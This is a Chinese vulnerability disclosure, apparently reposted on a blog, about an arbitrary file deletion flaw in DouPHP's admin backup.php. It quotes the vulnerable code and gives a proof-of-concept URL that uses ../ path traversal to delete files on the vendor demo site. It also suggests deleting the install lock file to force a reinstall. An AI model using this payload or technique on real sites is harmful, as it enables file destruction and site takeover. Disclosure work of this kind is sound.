php 轻量级后台,DouPHP轻量级企业建站系统后台任意文件删除缺陷

### 简要描述:

某处未验证删除的文件路径,导致可以删除任意文件。

官网演示站测试通过

### 详细说明:

漏洞文件: /admin/backup.php

第161行

```

/**

+----------------------------------------------------------

* 备份删除

+----------------------------------------------------------

*/

if ($_REQUEST['rec'] == 'del')

{

$sql_file_name = $_GET['sql_file_name'];

if ($_POST['confirm'])

{

if (file_exists("../data/backup/" . $sql_file_name))

{

@unlink("../data/backup/" . $sql_file_name);

}

$dou->create_admin_log($_LANG['backup_del'] . ": " . $sql_file_name);

$dou->dou_msg($_LANG['backup_del_success'], 'backup.php?rec=restore');

}

else

{

$_LANG['del_check'] = preg_replace('/d%/Ums', $sql_file_name, $_LANG['del_check']);

$dou->dou_msg($_LANG['del_check'], 'backup.php?rec=restore', '', '30', "backup.php?rec=del&sql_file_name=$sql_file_name");

}

}

```

条件:

1、进入此函数需要后台管理员权限

用途?在某些地方,删掉了某些配置,可以导致变量未初始化从而进行利用

比如说安装后生成的lock文件,导致站点可以被重新安装

### 漏洞证明:

http://demo.douco.com/admin/backup.php?rec=del&sql_file_name=../../../robots.txt

[QQ拼音截图未命名.jpg](https://images.seebug.org/upload/201405/13192041b6ba3fad77e6651e69244a36f3165d1f.jpg)

[QQ拼音截图未命名.jpg](https://images.seebug.org/upload/201405/131921146dab22d64d56f0d2cac3b3ba277bd85d.jpg)

loading-bars.svg

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值